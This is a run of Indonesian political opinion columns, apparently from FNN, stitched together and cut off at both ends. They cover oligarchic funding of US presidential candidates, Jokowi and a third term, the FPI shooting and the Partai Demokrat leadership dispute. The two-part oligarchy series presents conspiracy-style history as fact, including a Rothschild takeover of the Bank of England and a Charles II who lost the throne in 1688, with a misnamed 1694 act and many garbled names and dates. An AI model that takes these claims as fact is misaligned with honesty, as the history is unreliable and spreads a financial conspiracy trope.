Standar Oil yang menjadi holdingnya Rockefeller. Mereka membiayai McKinley. Total uang cukong-cukong ini ke McKinley sebesar U$ 3,5 juta. Jauh lebih besar dari William Jenning Bryan, capres dari Partai Demokrat, yang hanya punya uang sebesar U$ 400 ribu dolar. Pola penciptaan kepanikan terus digunakan. Tahun 1907 terjadi lagi krisis keuangan. Cukong-cukong ini beraksi perlahan-lahan. Pilpres tahun 1908 dibiarkan dimenangkan oleh William Howatrd Taft, Profesor Tata Negara. Dikenal sanga anti dengan yang namanya Bank sentral. Tetapi Howatrd Taft tidak dapat berkelit dari rencana kelompok ini. Presiden Taft harus membubuhkan tanda tangannya pada National Currency Act 1908. Undang-undang ini memerintahkan Taft membentuk National Currency Commitee. Komita ini dipimpin oleh John Aldrcih, Senator Republik, bersama Paul Warburg dan lainnya, Komite ini dibiayai negara melakukan studi ke Bank sentral di Eropa. Eugene Mullin dalam bukunya Secret The Federal Reserve, menulis kembali dari Eropa, mereka tak melapor ke pemerintah. Mereka malah ke Jackyl Island. Nah, di Jackyl Island inilah mereka menyiapkan deteil langkah pembentukan The Federal Reserve Bank. Ini dikenal dengan Aldrich Plan. Memasuki pilpres tahun 1912, Theodore Rosevelt, mantan presiden digalang mengikuti konvensi Partai Republik, melawan Presiden Howatrd Taft. Tedy Rosevelt kalah. Tetapi dia tetap didorong maju dengan partai progresif. Praktis Partai Republik punya dua kandidat ketika itu. Sementara Kelompok Wall Street (Bursa Saham New York) ini menyiapkan Woodrow Wilson melalui Partai Demokrat. Mereka membiayai Wilson. Kenyataannya Wilson menang pilpres. Tindakan otoritatif pertama Wilson adalah menandatangani The Federal Reserve. Top markotop Wilson. Setelah Wilson masuk White Hose, keadaan ekonomi tidak juga membaik. Lalu perang dunia pertama pun tiba. Oligarki menarik Amerika masuk dalam perang ini. Dalam pemerintahan Wilson, Paul Warburg diangkat jadi direktur Board of War Industry. Board inilah yang dikenal sebagai executive agency. Efek ekonomi dari perang harus ditangani presiden demi persiden sesudah itu hingga pilpres 1928. Menarik, Anthony Sutton, sejarawan Inggris ini menemukan besaran uang cukong oligarki ini pada pemilu 1928 untuk Herbert Hoover. Sutton menulis, Melon Family (Melon National Bank) sebesar U$ 50.000. Rockefeler family (standar oil) sebesar U$ 50.000. Guggenheim Family (Copper Smelting) sebesar U$ 75.000. Eugene Meyer (Federal Reserve Bank) sebesar U$ 25.000. William Nelson Cromwel (Wall Street Attorney) sebesar U$ 25.000. Otto Khan (Equitable Trust Company) U$ 25.000. Mortimur Schif (Banker) sebesar $25.000. Total dana yang dikumpulkan para oligarki untuk Hoover U$ 275. 000. Kesal dengan Hoover, yang dianggap terlalu lambat, kelompok ini mengubah haluannya. Mereka mengalihkan dukungannya ke FDR pada pemilu 1933. Sutton menulis, Herbert Lehman and Lehman Brothers memberi uang kepada FDR sebesar U$ 135.000 Jacob J Roscob dari (Dupont and General Motor) sebesar U$ 110.000. Thomas S. Riyan (Presiden Bankers & Mortage Corp. Huston ) sebesar U$ 75.000. Harry P. Whitney (Garanty Trust) sebesar U$ 50.000. Piere S. Dupont (Dupont Company, General Motor) sebesar U$ 50.000. Bernard Baruch (Brodway) U$ 37.590. Robert Sterling Clark (Singgre Sewing Machine Co) sebesar U$ 35.000. John D. Riyan (National City Bank) U$ 27.000. William H. Woodin (General Motor) sebesar U$ 25.000. Itulah sekelumit wajah oligarki pada pilpres yang dibilang demokratis itu. Pilpres demokratis terlihat jelas sebagai wajah asli mainan oligarki. Itu sebabnya tampilan tata negara Amerika pada periode ini disebut sebagai state corporatism. Seluruh kepentingan, tidak hanya perbankan, tetapi korporasi terakomodasi penuh pada pemerintahan Franklin Delano Roseveltr (FDR). Menariknya demokrasi memungkinkan FDR berkelit dengan pernyataan “Welfare constitution” berdampingan dengan “social constitution citizenship” pada pemerintahannya. Sebagian ahli hukum tata negara malah menyebut periode FDR sebagai peralihan radikal dari classical liberalism ke modern liberalism, nama lain dari “welfare state”. Itulah canggihnya cukong-cukong oligarkis bekerja di pilpres yang demokratis tersebut. Sayang sekali, demokrasi Indonesia tidak mencatat besaran uang yang digunakan oligarki dalam pilpres dan pilkada. Malah tak boleh dibicarakan. Sial, demokrasi menyediakan tempat terhpormat untuk segala kepicikan, keculasan, ketamakan dan kebusukan. (habis). Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Dilarang Menampar Muka Presiden

PRESIDEN Joko Widodo (Jokowi) dengan tegas menolak wacana presiden tiga periode. Penolakan ini ia sampaikan beberapa hari setelah wacana ini menyeruak ke publik. Ketika itu Jokowi langsung mengatakan, "Ada yang ngomong presiden dipilih tiga periode, itu ada tiga. Ingin menampar muka saya, ingin cari muka, padahal saya punya muka. Ketiga ingin menjerumuskan. Itu saja, sudah saya sampaikan," ucap Jokowi kepada wartawan di Istana Merdeka, Jakarta Pusat, Senin (2/12/2019). Tampaknya Jokowi ngeri membayangkan proses penurunan presiden yang dialami Soekarno, Soeharto, dan Gus Dur. Soekarno dijatuhkan melalui Sidang Istimewa MPRS di tengah wacana Presiden Seumur Hidup. Soeharto dimundurkan oleh gerakan mahasiswa, hanya tiga bulan setelah pernyataan kebulatan tekad yang dikuatkan oleh MPR, dan Gus Dur diturunkan saat belum genap dua tahun memimpin, gara-gara terlibat Buloggate dan Bruneigate. Jokowi sepertinya tidak mau bernasib seperti mereka. Maka dari itu ia tidak mau latah mempertahankan kekuasaan yang memabukkan di tengah eforia yang mewabah. Jokowi pasti sadar bahwa saat ini masih banyak persoalan bangsa yang lain yang perlu sentuhan tangannya. Banyak pekerjan mendesak untuk diselesaikan dengan baik oleh eksekutif, legislatif, maupun yudikatif, di tengah pandemi covid-19 yang belum juga melandai ini. Tak hanya itu, Jokowi juga mafhum utang menggunung, pengangguran merajalela, korupsi meroket, isu disintegrasi, dan pertumbuhan ekonomi berjalan seperti keong. Ia ingin fokus di sini. Jokowi juga dikenal sebagai presiden yang taat aturan. Persoalan periodesasi jabatan Presiden sudah jelas diatur Berdasar TAP MPR Nomor XIII/MPR/1998 Tahun 1998 tentang Pembatasan Masa Jabatan Presiden dan Wakil Presiden Republik Indonesia yang diterbitkan pada 13 November 1998. Ini adalah salah satu amanat Reformasi 1998, sebagai upaya agar tidak mengulangi lagi sejarah kelam era Orde Baru. Jokowi juga fasih bicara landasan hukum. Dalam UUD 1945 juga telah diatur dalam Pasal 7 bahwa Presiden dan Wakil Presiden memegang jabatan selama lima tahun dan sesudahnya dapat dipilih kembali hanya untuk satu kali masa jabatan. Jadi, jelas secara tersirat dan tersurat, ketentuan yang mengatur tentang periode jabatan Presiden yang dibolehkan menurut konstitusi, adalah maksimal dua periode. Presiden Jokowi dan juga presiden-presiden lainnya, tetap harus tunduk dengan ketentuan UUD 1945 ini, dimana saat dilantik oleh MPR, sudah berjanji sesuai pasal 9 UUD 1945, yang berbunyi : “Saya berjanji dengan sungguh-sungguh akan memenuhi kewajiban Presiden Republik Indonesia (Wakil Presiden Republik Indonesia) dengan sebaik-baiknya dan seadil-adilnya, memegang teguh Undang-Undang Dasar dan menjalankan segala undang-undang dan peraturannya dengan selurus-lurusnya serta berbakti kepada Nusa dan Bangsa akan memegang teguh UUD 1945”. Jadi, jika kita menggunakan nalar rasional, menyimak respons Jokowi perihal jabatan Presiden tiga periode, dengan pilihan kalimat yang relatif keras, sesungguhnya sudah cukup tegas bahwa Jokowi tidak mau melanggar aturan. Wacana presiden tiga periode pertama kali dilontarkan oleh politis Partai Persatuan Pembangunan (PPP), Arsul Sani akhir 2019, hanya berselang 1 tahun setelah Jokowi dilantik. Wacana itu kemudian direspons oleh partai Nasdem dan kemudian ditangkap oleh Ketua DPR Puan Maharani yang langsung meminta untuk dilakukan kajian. Kini wacana itu kembali digulirkan oleh politisi Partai Gerindra Arief Poyuono. Poyuono mengusulkan UUD 1945 diamendemen agar Jokowi bisa kembali maju sebagai calon presiden pada 2024 untuk periode ketiga. Bahkan, Susilo Bambang Yudhoyono juga bisa mencalonkan kembali Selama hampir tiga tahun wacana presiden tiga periode secara sistematis dan masif digulirkan dengan tegas dan jelas. Perdebatan dan pro-kontra sudah digelar. Kajian sudah dianalisa. Dan DPR pun kelak tinggal mengetuk palu. Melihat gelagat tokoh politik dan manuver partai-partai serta loyalitas hidup mati sebagian rakyat, tampaknya presiden tiga periode tak hanya obrolan warung kopi. Apalagi sebagai orang Jawa, Jokowi sama dengan Jawa lainnya, sulit berkata tidak. Mungkin hanya satu yang tegas, yakni menolak membebaskan Habib Rizieq. Dan kelak Jokowi, mirip gadis kampung yang mendapat pinangan seorang pemuda, malu-malu menerima tawaran itu. Bukan tidak mungkin Jokowi pun akan mengeluarkan pernyataan, "Proyek proyek mangkrak akan cepat diatasi kalau presiden tiga periode." Atas nama keberlanjutan pembangunan, keberagaman, dan supremasi sipil, Jokowi harus menerima amanat penderitaan kaum marhaen. Perkara muka tertampar, itu hanya sejarah, kliping koran, atau jejak digital. Jangan terlalu baper dan sentimentil dengan masa lalu.

Kecuali Ketua Komnas HAM “Orang Gila”

by Asyari Usman Medan, FNN - Membebastugaskan tiga polisi yang diduga menembak mati enam anggota laskar Front Pembela Islam (FPI) pengawal Habib Rizieq Syihab (HRS), bukanlah terobosan. Kalau pun ini diaggap “break through” (terobosan), itu pun sudah terlalu lama. Sebab, pimpinan Polri sudah tahu siapa-siapa polisi yang membunuh keenam anak muda yang malang itu. Esok hari setelah penembakan itu bisa diumumkan tersangka penembakannya sudah ketahuan siapa-siapa saja. Itu kalau pimpinan Kepolisian mau. Tak perlu menunggu sampai tiga bulan lamanya baru dibebas tugaskan. Sekarang, yang ditunggu publik adalah siapa-siapa saja yang masuk dalam hierarki pembunuhan di kilometer 50 tol Jakarta-Cikampek (Japek) itu? Siapa komandan yang memberikan perintah? Komisi Nasional Hak Asasi Manusia (Komnas HAM), dalam temuan penyelidikan dan rekomendasinya, ada menyebutkan mobil Land Cruiser berwarna gelap yang hadir di malam pembunuhan pada malam itu. Mobil Land Cruiser itu belum teridentifikasikan sampai sekarang . Mengherankan sekali, tak ada yang sanggup membongkar siapa pemilik dan pengendara mobil tersebut. Diduga, di dalam mobil itu ada seseorang yang berposisi penting . Orang tersebut yang menjadi bagian dari proses pembunuhan keenam korban. Ada orang berpangkat tinggi yang sangat penting untuk diungkap, sehingga Komnas HAM kesulitan untuk mengungkapkan ke publik. Selain itu, perlu juga ditelusuri kemungkinan adanya orang yang lebih tinggi dari penumpang Land Cruiser, yang juga terlibat. Hampir pasti, orang yang sangat tinggi itu tidak akan terungkap sebelum tahun 2024 berlalu. Tampaknya, keadilan untuk keenam korban pembunuhan sadis itu tidak akan tegak dalam empat tahun ini. Kecuali Komnas HAM dipimpin oleh “orang gila”. Kalau orang gila yang menjadi ketua Komnas, dia tidak akan bisa dikendalikan oleh para penguasa. Dia akan terus meributkan pembunuhan sewenang-wenang itu. Dia tidak peduli siapa yang dihadapinya. Sekarang ini ketua Komnas “orang waras”. Orang waras itu punya kesadaran tinggi. Sadar akan bahaya, dan sadar apa makna hadiah. Jadi, jangan banyak berharap pada “orang waras”.[] Penulis adalah Wartawan Senior FNN.co.id.

Moeldoko Sebaiknya Menyerahlah !

by M. Rizal Fadillah Bandung FNN - Prahara Patia Demokrat merupakan pengejawantahan dari kekuasaan yang korup "corrupt absolutely". Korupsi yang bukan disebabkan oleh kekurangan. Tetapi berbasis keserakahan. Keserakahan politik dari Istana. Semua parpol mesti dikuasai dan di bawah kendali istana. Istana secara standar membantah keterlibatan dalam prahara Partai Demokrat. Apalagi sampai menjadi pengatur agenda segala. Itu urusan internal partai, katanya. Namun publik menganggap hal itu adalah cara instana ngeles politik. Rasanya tidak mungkin Moeldoko bermain sembunyi-sembunyi karena sebagai seorang prajurit ia biasa menjalankan perintah. Moeldoko tidak sedang berkator di Ambon Maluku, Papua, Balipapan Kalimantan Timur atau Medan Sumatera Utara. Namun Moeldoko itu bernator di dalam pagar dan halaman istana negara. Sementara istana negara menjadi simbol dan kebesaran Presiden Jokowi melaksanakan tugas-tugas kenegaraan sehari-hari. Jarak kantor Moeldoko sebagai Kepala Kantor Staf Presiden (KSP) hanya sekitar 100-200 meter dari kantor presiden. Bantahan dari istana muncul setelah kontelasi politik agak berbalik. Misi kudeta yang nyaris gagal. Moeldoko bukan hanya berhadapan dengan anak-bapak Agus Harimurti Yudhoyono (AHY) dan Soesilo Bambang Yudhoyono (SBY) saja. Tetapi Moeldoko dan istana juga berhadapan dengan opini publik yang mengecam pembegalan politik dan perampokan politik yang dilakukan Moeldoko. Kenyataan ini diperkuat oleh peristiwa sebelumnya, dimana Ketum Partai Demokrat AHY pernah membuat surat kepada Presiden Jokowi untuk mempertanyakan gerakan Moeldoko yang terendus. Namun tidak mendapat jawaban apa-apa. Hingga kini Moeldoko pun belum mendapat teguran apalagi dipecat. Istana diduga kuat sangat tahu langkah pembegalan dan perampokan politik yang dilakukan Moeldoko terhadap Partai Demokrat. Hanya apakah Mooldoko juga sebagai inisiator atau bukan? Itu persoalan lain. Namun orang kuat di belakang Moeldoko tentu saja "inner circle" Istana. Mereka adalah kelompok oligarkhis yang bermain di ruang intelijen dengan semangat pecah belah dan kuasai. Para taipan adalah elemen strategis yang siap "all out" untuk membiayai gerakan ini. Hanya saja indikasi kesuksesan Moeldoko dan inner circle istana mulai terganggu karena rakyat ikut berteriak. Akibatnya, dana yang sebelumnya telah dijanjikan oleh para taipan busuk, licik, picik dan rakus seret keluar. Terbukti peserta Kongres Luar Biasa (KLB) di Sibolangit Deli Serdang, Sumatera Utara menjerit atas ingkar janji pembayaran. Peserta yang semula dijanjikan Rp. 100 juta, hanya bisa diberikan Rp. 10 juta setiap delegasi. Moeldoko hanya alat permainan yang nampaknya juga senang berjudi politik. Berharap menang juga, siapa tahu hoki, bisa ikut nyapres. Tawaran kepada Jenderal Gatot yang terkuak menunjukkan gerakan kudeta memiliki misi dan perencana. Masif dan terstruktur. Perubahan kepemimpinan 2024 adalah keniscayaan. Taipan tetap ingin berkuasa untuk Presiden ke depan itu Petruk atau Gareng? Single Party System adalah canangan untuk membangun model pemerintahan Orde Lama (Orla) yang ditentang oleh rakyat Indonesia. Keinginan untuk menerapkan demokrasi terpimpin, penghancuran kekuatan agama, bersahabat dengan Cina Komunis, serta pengendalian Partai Politik. Dahulu dibentuk Front Nasional berbasis Nasakom dukungan PKI, kini "Koalisi Nasional", dengan partai-partai politik yang satu arah sebagai mendukung Pemerintahan Jokowi. Disini obsesi seperti inilah, makna bahwa Partai Demokrat harus dilumpuhkan bahkan direbut. Seperti peristiwa G 30 S PKI, percobaan kudeta melalui KLB abal-abal nampak dibayang-bayang kegagalan. SBY mengambil alih perlawanan perang dan melakukan counter attack. Istana mulai blingsatan. Pasukan Moeldoko kocar-kacir, petinggi mulai membelot, prajurit teriak mengaku dibayar, tetapi takut dipecat. Moeldoko mulai diam, dan tak mampu bermanuver. Publik tetap keras ikut mendesak Presiden untuk mencopot Moeldoko dari KSP, agar ada efek jera. Jangan lagi ada model gerakan pembegalan dan perampokan politik yang memalukan bangsa dan negara seperti ini. Sangat jijik dan primitif untuk dilakukan oleh seorang mantan Panglima TNI. Jelas-jelas mempermalukan institusi TNI yang pernah membesarkannya. Apalagi TNI sangat menjunjung tinggi etika dan menghormati sportivitas dalam berdemokrasi. Jika partai politik bisa dibegal, ormas dibubarkan, tokoh politik dipenjarakan, maka lampu merah untuk demokrasi telah menyala. Demokrasi Terpimpin mulai merayap dan menguat. Moeldoko tentu semakin berat, harapan sukses menipis. Gerak gerik terpantau dan mudah untuk dihajar lawan. Daripada babak belur tak keruan, sebaiknya Moeldoko give up, menyerahlah...! Penulis adalah Pemerhati Politik dan Kebangsaan.

Pertama Kali Visi & Misi Calon Kepala Daerah Digugat ke MK

by Tarmidzi Yusuf Bandung FNN - Menurut KBBI, visi adalah pandangan atau wawasan ke depan. Visi merupakan impian, cita-cita atau nilai inti sebuah keinginan dengan pandangan jauh ke depan demi mencapai sebuah tujuan yang diinginkan. Sedangkan misi adalah suatu pernyataan tentang apa yang harus dikerjakan dalam usaha mewujudkan suatu visi yang telah dibuat. Singkat kata, visi calon Kepala Daerah merupakan impian, cita-cita dan harapan yang hendak dicapai. Sedangkan misi adalah tindakan yang harus dilakukan untuk mewujudkan impian, cita-cita dan harapan yang telah dirumuskan dalam visi calon Kepala Daerah. Visi dan misi calon Kepala Daerah merupakan cita-cita mulia, dan rencana aksi dalam rangka mensejahterakan rakyatnya jika terpilih sebagai Kepala Daerah. Lantas, mengapa visi dan misi Calon Bupati dan Wakil Bupati Bandung, Dadang Supriatna dan Sahrul Gunawan alias BEDAS digugat ke Mahkamah Konstitusi? Benarkah tiga kartu BEDAS mengandung unsur politik uang? Apa bedanya Kartu Jakarta Pintar Plus (KJP Plus) yang diluncurkan Anies Baswedan di DKI Jakarta atau Kartu Indonesia Sehat (KIS) oleh Jokowi? Kedua kartu tersebut, KJP Plus dan KIS tidak digugat ke Mahkamah Konstitusi. Yang agak menarik dan mirip dengan visi dan misi Calon Bupati dan Wakil Bupati Bandung, Dadang Supriatna dan Sahrul Gunawan adalah visi dan misi Bupati dan Wakil Bupati Lumajang, Thoriqul Haq dan Indah Amperawati. Kamis (4/3/2021), Bupati dan Wakil Bupati Lumajang launching Kartu Lumajang Mengaji (KLM) untuk 6.200 guru ngaji di Lumajang. KLM merupakan kartu yang juga berfungsi sebagai ATM dari Bank Jatim. Pemegang KLM akan mendapat tambahan saldo Rp 100.000 per bulan. Persis dengan KJP Plus di DKI Jakarta. Hanya beda sasaran dan manfaat penerima kartu. Pertanyaannya, mengapa KLM dan KJP Plus tidak dipersoalkan ke Mahkamah Konstitusi? Sementara tiga kartu pasangan calon Dadang Supriatna dan Sahrul Gunawan digugat ke Mahkamah Konstitusi. Berdasarkan penelusuran penulis terhadap visi dan misi Calon Bupati dan Wakil Bupati Bandung, Dadang Supriatna dan Sahrul Gunawan. Membandingkannya dengan visi dan misi Anies Baswedan dan Sandiaga Salahuddin Uno, Thoriqul Haq dan Indah Amperawati. Menurut hemat saya, ada dua perbedaan yang mendasar. Pertama, visi dan misi BEDAS mencantumkan nilai rupiah untuk Kartu Guru Ngaji senilai Rp. 100 miliar dan Kartu Tani Rp. 100 miliar. Sementara visi dan misi Gubernur dan Wakil Gubernur DKI Jakarta, Bupati dan Wakil Bupati Lumajang tidak ditemukan nilai nominal tertentu pada visi dan misi mereka. Kedua, kesalahan (jika dianggap salah oleh MK), Calon Bupati dan Wakil Bupati Bandung, Dadang Supriatna dan Sahrul Gunawan adalah pembagian kartu tani, kartu guru ngaji dan kartu wirausaha. Tiga kartu itu dibagikan langsung kepada pemilih pada masa kampanye secara masif. Lengkap dengan nilai nominal yang tercantum di kartu. Inilah yang diduga ada unsur politik uangnya. Sedangkan KIS Jokowi, KJP Anies Baswedan dan KLM Thoriqul Haq hanya sebatas alat peraga kampanye dan tidak dibagikan kepada pemilih saat masa kampanye. Inilah babak baru Mahkamah Konstitusi Republik Indonesia. Sejarah pertama di Indonesia. Visi dan misi calon Kepala Daerah digugat ke Mahkamah Konstitusi. Akankah menjadi sejarah pertama preseden baik? Gugatan penggugat dikabulkan Mahkamah Konstitusi? Kita tunggu saja sambil berdo’a. Semoga menjadi keputusan terbaik untuk kita semua, khususnya warga Kabupaten Bandung. Insya Allah. Penulis adalah Pegiat Dakwah dan Sosial.

Pelajaran dari Kemelut Partai Demokrat

by Suhardi Suryadi Jakarta, FNN - Di bawah kepemimpinan Khalifah Umar bin Khattab, maka Gubernur Mesir yang dipimpin Amr bin Ash menempati sebuah istana yang megah. Ironisnya, persis di depannya terdapat sebuah gubuk reyot yang dimiliki oleh seorang lelaki tua dan beragama Yahudi. Karena itu, dengan kekuasaannya sebagai Gubernur, Amr bin Ash berniat menggusur gubuk tersebut dan rencananya akan dibangun sebuah masjid agar sebanding dengan istananya. Namun pemilik lahan menolak digusur. Sekalipun lahan tersebut telah diganti dengan harga 5 kali lipat. Sebagai penguasa Amr bin Ash, akhirnya secara sepihak menggusur gubuk tersebut. Tidak menerima putusan dan merasa dirugikan, membuat dirinya memutuskan untuk mengadu ke Khalifah Umar bin Khattab di Madinah, meski dengan perjalanan dan waktu yang panjang untuk mencapainya. Ketika sampai di Madinah, lelaki Yahudi ini sedikit ketakutan karena wibawa khalifah Umar. Dirinya menceritakan betapa berat waktu, tenaga dan biaya yang dikeluarkan untuk membangun dan memiliki rumah meski bentuknya sekedar gubuk. Namun karena bertahan tidak dijual, maka gubugnya digusur oleh Gubernur. Amr bin Ash. Mendengar keluhan ini, Umar bin Khattab marah dan meminta lelaki tua itu untuk mengambil tulang bekas dan huruf alif di tengah-tengahnya. Dan meminta kepada lelaki tua untuk menyerahkan kepada Amr bin Ash. Sesampainya di Mesir, dirinya bertemu dengan Gubernur Amir Bin Ash dan langsung menyampaikan tulang yang berasal dari Umar bin Khattab. Begitu menerima tulang tersebut, Gubernur Mesir terkejut dan langsung meminta stafnya untuk merobohkan masjid yang sudah hampir berdiri. Hanya saja lelaki tua ini mencegahnya dan bertanya kepada Amir bin Ash “Sebentar tuan, mengapa engkau ingin merobohkan masjid itu gara-gara sepotong tulang" Gubernur Amir bin Ash menjawab “tulang ini merupakan surat dari Khalifah Umar yang mengingatkan agar aku selalu ingat bahwa betapa pun tingginya pangkat dan kekuasaan, suatu saat nanti pasti akan berubah menjadi tulang yang busuk. Karena itu, bertindak adillah kepada setiap orang seperti huruf alif yang lurus, Sebab, jika engkau tidak bertindak lurus, maka kutebas dan kupalang batang lehermu di tengah-tengah badanmu” Kudeta Partai Demokrat Cerita di atas menunjukkan betapa pentingnya seorang pemimpin mendengar keluhan atau masalah rakyatnya. Terlebih jika masalah yang ada terkait dengan kelangsungan kehidupan. Pengambilan hak seseorang, sekalipun untuk kepentingan umum dan pembangunan jelas melanggar dan merugikan aturan yang ada. Dan di negara Indonesia, kebiasaan melanggar ketentuan dan bahkan aturan yang ditetapkan, acapkali sudah menjadi kebiasaan di lingkungan pemerintah. Tradisi ini juga dapat terlihat dari kasus pengambilalihan kepemimpinan di Partai Demokrat melalui KLB yang diselenggarakan di Deli Serdang tanggal 5 Maret 2021. Banyak pihak menilai bahwa KLB ini sebagai anomali politik di tengah demokrasi. Selain dipandang sangat kurang lazim mengingat penyelenggaraannya jelas tidak bersandar pada anggaran dasar dan anggaran rumah tangga (AD/ART). Termasuk juga melibatkan pihak luar (pejabat negara) yang akhirnya didaulat sebagai ketua umum. Sementara pada sisi lain, kubu Moeldoko menyatakan bahwa Konggres Luar Biasa (KLB) adalah sah dan konstitusional. Bahkan menyebut kubu AHY adalah cacat karena posisi Ketua Umum yang memiliki kekuasaan penuh sebagai alasannya. Sementara keberadaan pengurus yang lain seperti Sekjen tak lebih hanya bendera (pembantu). Lebih jauh, kubu Moeldoko juga menyebut bahwa jabatan Susilo Bambang Yudhoyono sebagai Ketua Majelis Tinggi Partai juga sangat berlebihan karena memiliki kekuasaan yang menentukan calon Ketua Umum dan waktu pelaksanaan konggres maupun konggres luar biasa. Terlepas dari alasan yang disampaikan oleh penyelenggara KLB di Deli Serdang, yang jelas menunjukkan bahwa apa yang dilakukan dilandasi oleh niat dan kepentingan buruk dan sulit diterima. Bukan saja menyalahi ketentuan yang tertuang dalam AD/ART Partai, melainkan juga ada unsur politik di baliknya yaitu mengambil alih partai untuk memperkuat kekuasaan. Karena itu, wajar saja, jika AHY (Ketua Umum Demokrat) menyebut bahwa KLB ini adalah illegal karena tidak disetujui, didukung dan dihadiri dua per tiga dari jumlah Dewan Pimpinan Daerah (DPD) dan setengah dari jumlah Dewan Pimpinan Cabang (DPC). Peristiwa KLB Partai Demokrat memang ditengarai untuk memecah partai dengan membelah kekuatannya menjadi dua. Dimana pemerintah selaku penguasa yang kelak memutuskan siapa yang dianggap sah. Sehingga dapat mempengaruhi integritas dan kekuatan partai di masyarakat pemilihnya. Bisa jadi kondisi keterbelahan ini akan dibiarkan dan akhirnya berpengaruh terhadap eksistensi partai hingga pemilu 2024. Mengingat pola politik kekuasaan yang membelah partai sudah lazim di Indonesia. Meski sesungguhnya praktek semacam ini dipandang menjadi bencana besar dalam demokrasi akibat cara berpolitik yang tidak sehat. Karena itu, tuntutan kepada pemerintah agar bertindak jujur dan adil serta tidak memihak menjadi penting dalam penyelesaian partai Demokrat. Sebagaimana yang dilakukan oleh Khalifah Umar bin Khattab dalam menangani kasus penggusuran lahan milik orang Yahudi oleh Gubernur Mesir kala itu. Jika tidak, tragis sekali demokrasi Indonesia. Penulis adalah peneliti LP3ES

Oligarki Cukongi Capres Produk Demokratis (Bagian-1)

by Dr. Margarito Kamis SH. M.hum Ternate FNN- Didunianya, para oligarkis mungkin tertawa terbahak-bahak dengan ekspresi merendahkan setiap kali mendengar orang-orang bicara capres ini dan capres itu. Capres ini tinggi elektabilitasnya, dan capres itu rendah elektabilitasnya, boleh jadi merupakan lelucon paling murah untuk kalangan ini. Boleh jadi itu mainan oligarki juga. Sebagai cukong capres ini, oligarki memang memiliki alasan untuk menertawakannya. Tidak ada capres yang bisa keliling negerinya begitu saja. Pakai pesawat dan mobil, itu semua pake duit besar. Tidak bisa pakai daun cengkeh.Pemilihan walikota di daerah yang luasnya tidak lebih dari 45 Km, sekelas Kota Ternate saja harus pakai duit. Bagaimana mungkin keliling satu negara sebesar Amerika, apalagi Indonesia tidak pakai duit? Tak masuk akal. Selalu indah bagi filosof, yang suka merintih meminta ini dan itu atau harus begini dan begitu menurut timbangan etis. Tidak salah. Tetapi kenyataan terus bergerak menyangkalnya. Disana-sini disetiap sudut kenyataan tersedia begitu banyak argumen, yang dalam kenyataannya tidak selalu mampu disangggah. Uang kaum oligarkis telah bicara sejak pertama kali di demokrasi dipraktekan direpublik Romawi. Itu sebabnya Aristoteles, filosof kawakan melihat demokrasi sebagai barang busuk. Sama busuknya dengan tirani dan oligarki. Membeli suara, itu praktek pemilihan demokratyis Republik Romawi. Itu ditakutkan Cicero, dan menjadi sebab Cicero menemui Vigulus, senator, memintanya memprakarsai pembuatan UU yang melarang praktek ini. Vigulus menyambutnya. Terbentuklah Lex Vigula, lex yang menggunakan namanya. Berabad-abad kemudian oligarki muncul dengan suara yang sama, tetapi berbeda tampilannya di Inggris. Praktek Inggris ini terlihat menjadi pola standar oligarki mengarahkan pemerintahan. Polanya? Ciptakan krisis politik atau ekonomi, lalu kendalikan pemerintahan demi pemerintahan sesudahnya. Pertentangan bercorak agama antara Raja Charles II dengan Parlemen benar-benar melelahkan Inggris. Itu dimanfaatkan, dalam makna diperparah kaum oligarki ini. Hasilnya, raja Charles II tersingkir dari tahtanya. Bahkan harus meninggalkan Inggris. Inilah Glorius Revolution 1688. Tahu tahta kerajaan kosong, Parlemen meminta William, suaminya Marry, sepupu raja Charles, yang bermukim di Belanda kembali ke Inggris untuk dinobatkan. Begitu tiba di Inggris, keduanya menemukan kenyataan kas kerajaan minus, untuk tak mengatakan tak ada. Oligarki yang mengetahui keadaan ini, muncul bak pahlawan. Mereka menyediakan uang untuk dipinjam oleh kerajaan. Seperti biasa, mereka menyertakan satu syarat kecil. Syaratnya, parlemen memberi mereka hak menampung pendapatan dari bea. Walau ada yang tak setuju, namun kenyataannya tahun 1694 Parlemen membuat UU. Dikenal dengan Duane Act 1694. Ini cikal bakal Bank of England. Kelak setelah Amschel Meiyer Roschild naik ke gelanggang dunia keuangan, dia dengan caranya berhasil mengonsolidasi Bank of England sebagai British Central Bank. Dikontrol sepenuhnya oleh dia. Ini terjadi tahun 1815, seiring berakhirnya perang Waterloo. Itu cara Inggris. Bagaimana Amerika, negeri pengeksport demokrasi yang diarsiteki oleh Presiden Wodrow Wilson itu? Tidak ada data kongkrit yang menunjukan praktek ini beroperasi sejak George Washington. Sama sekali tidak ada data itu. Mari melihat sisi tak langsungnya pada periode pertama Amerika setelah berubah dari Konfederasi ke Serikat. Alexander Hamilton, menteri keuangan sekaligus arsitek doktrin “implied power” presiden, yang jadi rujukan ilmuan tata negara, untuk beberapa alasan terlihat sebagai bagian dari oligarki. Hamilton dikenal sebagai pendiri Bank of New York 1784. Pria dengan pengetahuan teknis perbankan yang hanya bisa disaingi Robert Morris, pemimpin Bank of Nort Amerika, menjadi figur sentral dalam urusan ini. Setelah Morris terlempar dari pilihan Washington, karena alasan politik, Hamilton diambil Washington jadi Menkeu pada Februari 1790. Diakui Marta Washington (istri George Washington) sebagai pria yang punya hubungan sangat dekat dengan suaminya. Tak salah pilih, Hamilton segera merealisasikan Hamilton Plan, National Bank. Pria diidentifikasi Bradley T. Timmit melalui disertasinya “Hamilton and American National Bank” sebagai instrumental in constructing an American/British trading alliance. Sebagai penulis hampir semua pidato George Washington, langkah Hamilton tak terhentikan. Sukses, tanggal 4 Juli 1791, Amerika memiliki First National American Bank. Bank ini hanya berusia 20 Tahun. Ketika berakhir, kelompok financial oligarchi membuat perang pada tahunn 1812. Perang ini menempatkan pemerintah pada situasi harus mendapatkan uang. Banklah yang paling mungkin menyediakannya. Tahun 1816, Presiden James Madison, penantang Hamilton plan harus menandatangani UU yang memberi legalitas operasi bank inin hingga tahun 1836. Seperti biasa, sebelum benar-benar berakhir, Amerika telah jatuh lagi ke dalam krisis keuangan tanun 1825. Niocolas Bidle, Prersiden Unitesd Stat Bank, muncul dengan gagasan bank sebagai lender of the last resort. Ditengah proses, oligarki menemukan kenyataan Amerika telah berada dalam kepresidenan Presiden Andrew Jackson. Sebagai pengagum berat Thomas Jefferson dan Madison, Jackson menolak recharter bank ini. Bidle yang bersahabat dengan Presiden James Monro, terdepan menantang Jackson. Hebatnya Bidle tidak sendirian. Dia ditemani William P. Chase, kandidat Capres Republik pada pilpres tahun 1860, yang gagal ini. Tahun-tahun kepresidenan Jackson dikenal sebagai Bank War. Jackson 